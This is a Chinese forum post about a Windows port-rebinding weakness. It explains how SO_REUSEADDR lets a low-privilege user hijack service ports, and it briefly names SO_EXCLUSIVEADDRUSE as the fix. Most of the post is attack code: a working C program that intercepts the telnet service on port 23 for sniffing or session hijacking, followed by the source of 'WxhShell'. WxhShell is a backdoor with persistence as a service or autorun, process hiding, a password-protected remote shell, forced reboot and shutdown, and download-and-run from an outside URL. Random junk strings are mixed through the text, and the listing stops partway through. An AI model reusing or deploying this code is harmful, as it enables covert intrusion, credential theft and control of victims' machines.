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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H&8~"h6n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mGDy3R90  
8.G<+.  
  saddr.sin_family = AF_INET; `$Um  
q*Oj5;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?S;z!) H)P  
W__Y^\ ~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  ,)uW`7  
*LMzq9n3o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =0L%<@yA  
`YUeVz>q?  
  这意味着什么?意味着可以进行如下的攻击: |$;4/cKfy  
w/ ^_w5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T6b~uE  
F Uz1P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nuDu  
d~MY z6"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |"PS e~ u  
@3y >|5 Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q:nUn?zB  
kh@O_Q`j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s2( 7z9jR  
ALn_ifNh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =;GmLi3A  
q %j8Js  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _M&n~ r  
9B![l=Gh  
  #include ZeY|JH1  
  #include }.(DQwC}1k  
  #include z;?ztpa@  
  #include    Ml9m#c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QW'*^^  
  int main() P l!E$   
  { 2 FoLJ  
  WORD wVersionRequested; ^62z\Y  
  DWORD ret; .Tm.M7  
  WSADATA wsaData; rg ; 4INs#  
  BOOL val; }Ml BmD  
  SOCKADDR_IN saddr; E=8GSl/Jx  
  SOCKADDR_IN scaddr; %y\5L#T!>  
  int err; [MQ* =*  
  SOCKET s; AFM+`{Cq  
  SOCKET sc; "uP*pR^  
  int caddsize; !VaC=I^{  
  HANDLE mt; !4!qHJISa  
  DWORD tid;   Q>$lf.)  
  wVersionRequested = MAKEWORD( 2, 2 ); q sUBvq  
  err = WSAStartup( wVersionRequested, &wsaData ); FA>.1EI  
  if ( err != 0 ) { c#CV5J\Kk3  
  printf("error!WSAStartup failed!\n"); *3P+K:2lNG  
  return -1; KgbBa2@ +  
  } RT3(utwO  
  saddr.sin_family = AF_INET; ).`v&-cK4E  
   ,;hpqu|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  Lagk   
;&gk)w6*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =f H5 r_n  
  saddr.sin_port = htons(23); x4PzP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bI3GI:hp  
  { #?+[|RS|  
  printf("error!socket failed!\n"); FZ}^)u}o  
  return -1; F Z RnIg  
  } u  Fw1%  
  val = TRUE; CJh,-w{wJ"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /}2Y-GOU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F+*fim'NK  
  { t9MCT$U  
  printf("error!setsockopt failed!\n"); wfe4b  
  return -1; w N`Nj m9!  
  } FfxD=\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r~JGs?GH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )t3`O$J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vE8BB$D  
%~k>$(u6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mA$86 X_  
  { 1=5HQ~|[TO  
  ret=GetLastError(); [mQ1r*[j  
  printf("error!bind failed!\n"); aeI0;u  
  return -1; \2=I//YF  
  } 0:71Xm  
  listen(s,2); 0:n"A,-p  
  while(1) &;pM<h  
  { ?% 8%1d  
  caddsize = sizeof(scaddr);  *U6+b  
  //接受连接请求 ;du},>T$n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {$Uj&/IC  
  if(sc!=INVALID_SOCKET) F-b]>3r  
  { &o7PB` (l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q\}-MiI/  
  if(mt==NULL) SrB>_0**  
  { s3m \  
  printf("Thread Creat Failed!\n"); |c8\alw  
  break; us~cIGm  
  } rM,f7hm[S*  
  } '(C+qwdRv  
  CloseHandle(mt); t2vm&jk  
  } Y>/_A%vQU  
  closesocket(s); h,B4Tg'  
  WSACleanup(); AG}j'   
  return 0;  oJ*,a  
  }   ` L 1+j  
  DWORD WINAPI ClientThread(LPVOID lpParam) ! [1aP,  
  { R&6@*Nn  
  SOCKET ss = (SOCKET)lpParam; /O.Ql ,6[  
  SOCKET sc; )+'=Zvgej=  
  unsigned char buf[4096]; [<{r~YFjWW  
  SOCKADDR_IN saddr; JFO,Q -y\  
  long num; 1fsNQ!vQP  
  DWORD val; #]5KWXC'~  
  DWORD ret; q2J |koT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N>YSXh`W`y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?;htK_E\*  
  saddr.sin_family = AF_INET; `p9N| V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V s xI  
  saddr.sin_port = htons(23); [;7zg@Sa  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4i{Xs5zk  
  { nA_'j l  
  printf("error!socket failed!\n"); ZklpnL*!  
  return -1; 0{%@"Fb0O  
  } i!8"T#  
  val = 100; ME0u|_dPjz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T [xIn+w  
  { @VW1^{.do^  
  ret = GetLastError(); 52j3[in  
  return -1; OI6Mx$  
  } RQ[/s lg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RCYv2=m>Q  
  { jSHFY]2  
  ret = GetLastError(); 6;:D!},'c  
  return -1; Li|~%E1  
  } Zzg zeT+bv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YkMFU'?[  
  { 0Fon`3(^\  
  printf("error!socket connect failed!\n"); :L+ xEL  
  closesocket(sc); Rc{R^5B  
  closesocket(ss); D iOd!8Y  
  return -1; GVA%iE.  
  } z9OpMA  
  while(1) w' J`$=  
  { !ry+{v+A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p&V64L:V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s@"|o3BX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \b $pH  
  num = recv(ss,buf,4096,0); Ssz;d&93  
  if(num>0) %L]sQq,  
  send(sc,buf,num,0); YaSBIq{z  
  else if(num==0) ~+0IFJ`}  
  break; #_S]\=N(  
  num = recv(sc,buf,4096,0); 6'N_bNW  
  if(num>0)  QtG6v<A  
  send(ss,buf,num,0); ps:`rVQ7  
  else if(num==0) `?R{sNr.  
  break; _*?qOmf=  
  } d7G@Z|R3p  
  closesocket(ss); #k)z5vZ$h  
  closesocket(sc); SPdEO3  
  return 0 ; UP)< (3YA  
  } ebJTrh<{  
'Ca;gi !U  
Ri`6X_xU  
========================================================== Mb[4_Dc  
ttJ'6lGXh  
下边附上一个代码,,WXhSHELL Z ]  G#:  
XC~"T6F  
========================================================== 1aIGC9xQ`  
o$;&q *  
#include "stdafx.h" 3{~(_  
Spx%`O<  
#include <stdio.h> r9N?z2X  
#include <string.h> v!ai_d^  
#include <windows.h> fU ;H  
#include <winsock2.h> % JiF269  
#include <winsvc.h> CP; <B1  
#include <urlmon.h> WHv6E!^\_  
X[tB^`  
#pragma comment (lib, "Ws2_32.lib") #[x*0K-h  
#pragma comment (lib, "urlmon.lib") fV Y I  
G8__6v~  
#define MAX_USER   100 // 最大客户端连接数 SE'|||B  
#define BUF_SOCK   200 // sock buffer DMsqTB`  
#define KEY_BUFF   255 // 输入 buffer !e<2o2~.  
gI2'[OU  
#define REBOOT     0   // 重启 _<mY|  
#define SHUTDOWN   1   // 关机 cMT:Ij];  
MK/8<i<.  
#define DEF_PORT   5000 // 监听端口 tF-l=ph}`  
n!~ $Z/  
#define REG_LEN     16   // 注册表键长度 8]vut{  
#define SVC_LEN     80   // NT服务名长度 4XVwi<)  
G;vj3#u?  
// 从dll定义API y0T#Qq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?qSwV.l]d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tCO?<QBE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xSM1b5=Pu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nj;3U^  
'a JE+  
// wxhshell配置信息 8N"WKBj|_d  
struct WSCFG { \MmOI<Hd-  
  int ws_port;         // 监听端口 eHs38X  
  char ws_passstr[REG_LEN]; // 口令 x"C7NW[$  
  int ws_autoins;       // 安装标记, 1=yes 0=no R+K|K2"  
  char ws_regname[REG_LEN]; // 注册表键名 [QQM/?  
  char ws_svcname[REG_LEN]; // 服务名 _oG%bNM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hg0{x/Dgny  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x`C"Z7t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TW(X#T@Z6I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no { ?jXPf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]R}(CaT1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4[kyzz x  
N;-%:nC  
}; o^(I+<el  
uK(]@H7~!c  
// default Wxhshell configuration n CX{tqy   
struct WSCFG wscfg={DEF_PORT, 2(~Zl\  
    "xuhuanlingzhe", ..nVViZ  
    1, J%r:"Jm[y1  
    "Wxhshell", (2Lmu[  
    "Wxhshell", ~4FzA,,  
            "WxhShell Service", wL:7G  
    "Wrsky Windows CmdShell Service", m='}t \=  
    "Please Input Your Password: ", ']\SX*z?  
  1, t,/8U  
  "http://www.wrsky.com/wxhshell.exe", +L'Cbv="  
  "Wxhshell.exe" g)$KN,gGuO  
    }; -?1R l:rM  
b3[!1i  
// 消息定义模块 BGj!/E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T _UJ?W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gXs9qY%=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _U4@W+lhX_  
char *msg_ws_ext="\n\rExit."; (gVN<Es  
char *msg_ws_end="\n\rQuit."; v%2Dz  
char *msg_ws_boot="\n\rReboot..."; j-**\.4a~  
char *msg_ws_poff="\n\rShutdown..."; l"`VvW[  
char *msg_ws_down="\n\rSave to "; _e>N3fT  
jLM y27Cn  
char *msg_ws_err="\n\rErr!"; Pn9;&`t  
char *msg_ws_ok="\n\rOK!"; m(9I+`  
D{\o*\TN  
char ExeFile[MAX_PATH]; (*6 .-Xn  
int nUser = 0; 2-Q5l*  
HANDLE handles[MAX_USER]; rf]z5;  
int OsIsNt; SYsO>`/ )  
C<T6l'S{?  
SERVICE_STATUS       serviceStatus; LdOme [C1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *! :j$n;  
0$-|Th:o  
// 函数声明 zx]r.V  
int Install(void); q&9]4j  
int Uninstall(void); }|;j2'(R  
int DownloadFile(char *sURL, SOCKET wsh); ?#&[1.= u  
int Boot(int flag); (vD==n9Hd  
void HideProc(void); >m!Z$m([J  
int GetOsVer(void); 0iR?r+|  
int Wxhshell(SOCKET wsl);  Rm)hgmZ  
void TalkWithClient(void *cs); /!t:MK;  
int CmdShell(SOCKET sock); 3!sZA?q  
int StartFromService(void); $iy!:Did  
int StartWxhshell(LPSTR lpCmdLine); y1}2hT0,  
80g}<Lwc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o(?9vU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c C) <Y#1  
h/:LC 7  
// 数据结构和表定义 9yTDuhJ6  
SERVICE_TABLE_ENTRY DispatchTable[] = G;wh).jG5  
{ )OFN0'  
{wscfg.ws_svcname, NTServiceMain}, #tsP  
{NULL, NULL} Dmy=_j?ej  
}; :~W(#T,$E  
keD?#yY  
// 自我安装 ju;OQC~[L]  
int Install(void) II _CT=  
{ XA>uCJf  
  char svExeFile[MAX_PATH]; rB]2qk`/'  
  HKEY key; *Od?>z  
  strcpy(svExeFile,ExeFile); f9Xa}*  
. bUmT!  
// 如果是win9x系统,修改注册表设为自启动 ~fL`aU&  
if(!OsIsNt) { kRwY#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bk=;=K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dZ* &3.#D5  
  RegCloseKey(key); V,c^Vq y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '?.']U,: $  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ho(}_Q&  
  RegCloseKey(key); I H#CaD  
  return 0; .L1[Rv3  
    } KI*b We  
  } (gvnIoDl0  
} 3"my!}03  
else { WnOYU9 ;%  
wi.E$R ckD  
// 如果是NT以上系统,安装为系统服务 Wql=PqF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vNdX  
if (schSCManager!=0) 7 u Q +]d  
{ go6; _  
  SC_HANDLE schService = CreateService |=VWE>g  
  ( Df2$2VU  
  schSCManager, m*)jnd XY  
  wscfg.ws_svcname, rbv  
  wscfg.ws_svcdisp, J~`!@!  
  SERVICE_ALL_ACCESS, jJvd!,=)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D_ej%QtB@  
  SERVICE_AUTO_START, !U2<\!_  
  SERVICE_ERROR_NORMAL, HL$7Ou  
  svExeFile, Si23w'T  
  NULL, 9)=bBQyr:  
  NULL, _^RN$4.R>  
  NULL, O#J7GbrHO  
  NULL, v5?)J91  
  NULL KkzG#'I1  
  ); !~7lY]_U  
  if (schService!=0) [GK## z'5  
  { ,d.5K*?aI  
  CloseServiceHandle(schService); W:wSM *  
  CloseServiceHandle(schSCManager); k+i0@G'C(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NaQ~iY?  
  strcat(svExeFile,wscfg.ws_svcname); OaoHN& "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \f Kn} ]kG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ei1;@k/  
  RegCloseKey(key); +5R8mbD!  
  return 0; n) HV:8j~  
    } h?4EVOx+  
  } TL$w~dY  
  CloseServiceHandle(schSCManager); mxJe\[I  
} ##mBOdx  
} 9X#]Lg?b  
[;-;{ *{G  
return 1; 5__B M5|  
} V}2[chbl  
?uP5("c  
// 自我卸载 i~<.@&vt  
int Uninstall(void) ' < >Q20  
{ I'n}6D.M  
  HKEY key; 9]G~i`QQ  
vGJw/ij'X  
if(!OsIsNt) { vt(}8C+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XS&;8 PO  
  RegDeleteValue(key,wscfg.ws_regname); u!It' ;j  
  RegCloseKey(key); { Ngut  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x|^p9m"=%  
  RegDeleteValue(key,wscfg.ws_regname); &h6 `hP_  
  RegCloseKey(key); 7N vRZ!  
  return 0; ,PKUgL}w  
  } kxAT  
} U =g&c `  
} A+\rGVNH'S  
else { e!C,<W&B\  
*U8,Q]gS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5yV>-XT+-  
if (schSCManager!=0) mQU t 'j4  
{ G(F=6L~;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G2>s#Y5(,  
  if (schService!=0) C4d CaiX  
  { m*7RC4"J  
  if(DeleteService(schService)!=0) { C4-%|+Q i  
  CloseServiceHandle(schService); A~0yMww:$  
  CloseServiceHandle(schSCManager); k"/}9[6:U5  
  return 0; ,CqGO %DY  
  } Lke!VS!P&  
  CloseServiceHandle(schService); 2*n~r  
  } Z%I 'sWOd  
  CloseServiceHandle(schSCManager); z<yqQ[  
} 7o*~zDh@fH  
} /6 x[C  
PCc{0Rp\vk  
return 1; k#V\O2lb  
} "1DlusmCCB  
r=RiuxxTq  
// 从指定url下载文件 (v}l#M7w  
int DownloadFile(char *sURL, SOCKET wsh) Rp_}_hL0  
{ 0Uk;&a0s  
  HRESULT hr; l u{6  
char seps[]= "/"; M4d4b  
char *token; :V)=/mR  
char *file; ):L0{W{  
char myURL[MAX_PATH]; (J(SwL|  
char myFILE[MAX_PATH]; YXU2UIY<~  
2j{T8F\]  
strcpy(myURL,sURL); }^odUIj  
  token=strtok(myURL,seps); c47.,oTo  
  while(token!=NULL) ?xQm_ 91X^  
  { 9:E.Iy  
    file=token; z<. 6jx@  
  token=strtok(NULL,seps); uSxldc  
  } <hgfgk7<  
}tH_YF}u  
GetCurrentDirectory(MAX_PATH,myFILE); HMKogGTTo  
strcat(myFILE, "\\"); x IL]Y7HWM  
strcat(myFILE, file);  Qk.[#  
  send(wsh,myFILE,strlen(myFILE),0); >ca`0gu  
send(wsh,"...",3,0); S1i~r+jf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @'J[T:e  
  if(hr==S_OK) #%z@yg  
return 0; %;GRR (K  
else #Qu|9Q[QH  
return 1; +ul.P)1J6  
,C'mE''x  
} G{a_\'7  
es$<Vkbp  
// 系统电源模块 |Ur$H!oe?'  
int Boot(int flag) ]<_v;Q<t  
{  @]V_%,  
  HANDLE hToken; Orlf5 {P  
  TOKEN_PRIVILEGES tkp; Cv`dK=n>  
R?2T0^0  
  if(OsIsNt) { 0o 8V8 :  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6D*x5L-1o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J b7^'P  
    tkp.PrivilegeCount = 1;  y]ya.YG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ff[GR$m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +xYg<AFS  
if(flag==REBOOT) { ]9 9; 7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S'IQbHz*  
  return 0; 5~i}!n  
} Ui"3'OU'  
else { i)]^b{5nyB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gs*X> D  
  return 0; Z/e[$xT <  
} `TDS 4Y  
  } R]S!PSoL  
  else { fQ2U |  
if(flag==REBOOT) { lt0byn$vz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LdX'V]ITh  
  return 0; d}^hZ8k|  
} nc#} \  
else { {-)I2GJav  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FJ|JXH*  
  return 0; Yjx4H  
} xl(R|D))  
} bW^{I,b<F  
H5A7EZq}`  
return 1; 94[8~_{fG  
} OI^qX;#Kd  
u$(XZ;Jg  
// win9x进程隐藏模块 j3'SM#X  
void HideProc(void) CE I.*Iywu  
{ MeO2 cy!5q  
6k ]+DbT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rw!_j!  
  if ( hKernel != NULL ) d!4:nvKx  
  { )gxZ &n6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }};AV)}J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }FkF1?C  
    FreeLibrary(hKernel); :-T[)Q+-3  
  } +,4u1`c|$  
^ `[T0X  
return; .fNLhyd  
} Ot~buf'|  
Es1T{<G|w  
// 获取操作系统版本 *HQ>tvUh  
int GetOsVer(void) zi+NQOhR  
{ edfb7prfTl  
  OSVERSIONINFO winfo; mf gUf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lnrs4s Km  
  GetVersionEx(&winfo); =n_>7@9l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S@WT;Q2Z  
  return 1; z3|5E#m  
  else *7yrm&@nG  
  return 0; Lr(My3vF8q  
} *V@t]d$=#  
2-@z-XKn  
// 客户端句柄模块 F@-8J?Hl:  
int Wxhshell(SOCKET wsl) VVi3g  
{ :i o[9B [  
  SOCKET wsh; zIc_'Z,b  
  struct sockaddr_in client; EzXi*/  
  DWORD myID; "'I |#dKoG  
rCdTn+O2  
  while(nUser<MAX_USER) ,y[w`Q\  
{ 5Ln !>,  
  int nSize=sizeof(client); xbZR/!?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T2ZN=)xZ1  
  if(wsh==INVALID_SOCKET) return 1; |h2=9\:]  
81S0:=   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a)M3t  
if(handles[nUser]==0) ujeN|W  
  closesocket(wsh); d{c06(#_  
else #9]O92t2UV  
  nUser++; ^-qz!ib  
  } F<Z13]|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i dY Xv)R  
rTA#4.*&  
  return 0; _>Oc> .MB  
} qGECw#  
iY3TB|tMt  
// 关闭 socket Ak,T{;rD  
void CloseIt(SOCKET wsh) wl%I(Cw{]  
{ 9_J'P2e  
closesocket(wsh); d@+u&xrd  
nUser--; X->` ~-aj  
ExitThread(0); NV;T*I8O  
} A=BT2j'l)  
Q6%Pp_$k  
// 客户端请求句柄 8:"s3xaO3  
void TalkWithClient(void *cs) md /NMC \  
{ x UTlM  
~{{@m]P  
  SOCKET wsh=(SOCKET)cs; C9nCSbGMY{  
  char pwd[SVC_LEN]; y:R+;91  
  char cmd[KEY_BUFF]; E5t /-4  
char chr[1]; W-4R;!42  
int i,j; 94u~:'t>V  
xnC5WF7  
  while (nUser < MAX_USER) { kntULI$`  
%[k"A  
if(wscfg.ws_passstr) { JYa3xeC;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~.J{yrJ&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aoU5pftC  
  //ZeroMemory(pwd,KEY_BUFF); $%?[f;S3,  
      i=0; G5!!^p~  
  while(i<SVC_LEN) { }ZfdjF8N!  
+Sg+% 8T  
  // 设置超时 hU 5_ dV  
  fd_set FdRead; *\$ko)x?c  
  struct timeval TimeOut; l+<AM%U\ V  
  FD_ZERO(&FdRead); >ToI$~84  
  FD_SET(wsh,&FdRead); *4[P$k$7  
  TimeOut.tv_sec=8; d(9C7GLC,  
  TimeOut.tv_usec=0; 7$Pf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -n6e;p]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZEG~ek=jM  
hGU 3DKHT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z>ztFU  
  pwd=chr[0]; SBamgc  
  if(chr[0]==0xd || chr[0]==0xa) { :hDv^D?3  
  pwd=0; rnM C[  
  break; O5A]{ W  
  } Z#s-(wf  
  i++; rh6 e  
    } X6n8Bi9Ik  
L#`X;:   
  // 如果是非法用户,关闭 socket C@@PLsMg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D1Q]Z63,  
} ]|B_3* A  
:<,tGYg/!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .!_^<c6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >\!k~Zi  
^6PKSEba  
while(1) { ->J5|c#  
*I`Eb7 ^  
  ZeroMemory(cmd,KEY_BUFF); FQ]5W |e  
@4P_Yfn  
      // 自动支持客户端 telnet标准   (FSa>  
  j=0; !1`f84d  
  while(j<KEY_BUFF) { P&AaD!Qn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e J:#vX86  
  cmd[j]=chr[0]; {5JYu  
  if(chr[0]==0xa || chr[0]==0xd) { ) {4$oXQ  
  cmd[j]=0; jN!sL W  
  break; ``Rg0o  
  } ^2"w5F  
  j++; %WtF\p  
    } `i6q\-12n  
7E R!>l+  
  // 下载文件 j.KV :zJU  
  if(strstr(cmd,"http://")) { ^[1Xl7)`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \d QRQL{LL  
  if(DownloadFile(cmd,wsh)) qmq#(%Z <W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BXUd i&'O  
  else "tmr s_~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JgcMk]|'  
  } 'o1lJ?~kH  
  else { z"V`8D  
d@ tD0s  
    switch(cmd[0]) { 1c:/c|shQ_  
  /B5rWJ2AS  
  // 帮助 2o~UA\:+=  
  case '?': { e(jD[q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L+0O=zJF  
    break; z#+Sf.  
  } W ZW:q  
  // 安装 pB,l t6  
  case 'i': { +(oExp(!  
    if(Install()) &}VVr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,UneS  
    else q5>!.v   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [`bA,)y"  
    break; AnQUdU  
    } -9$.&D|  
  // 卸载 *ub"!}$st  
  case 'r': { c1g'l.XL 3  
    if(Uninstall()) (_eM:H=e>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >%85S>e  
    else U6~79Hnt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (o1o);AO  
    break; K]ds2Kp&  
    } Sh7ob2  
  // 显示 wxhshell 所在路径 C59H| S  
  case 'p': { *%2,= p  
    char svExeFile[MAX_PATH]; ?P Mi#H  
    strcpy(svExeFile,"\n\r"); 3q`Uq`t4mR  
      strcat(svExeFile,ExeFile); 57:27d0y  
        send(wsh,svExeFile,strlen(svExeFile),0); ! $fF3^8-  
    break; 4JGU`L:~  
    } )D ':bWP  
  // 重启 h~k+!\  
  case 'b': { 6jz~q~ I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &a";jO GB  
    if(Boot(REBOOT)) `5Em: 8 M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]!cLFXa  
    else { MG74,D.f  
    closesocket(wsh); T@Th?  
    ExitThread(0); BU=Ta$#BZ  
    } qino:_g  
    break; Q$~_'I7~Mz  
    } +}NQ |y V  
  // 关机 zO3}c3D~q  
  case 'd': { [k7 ;^A5/  
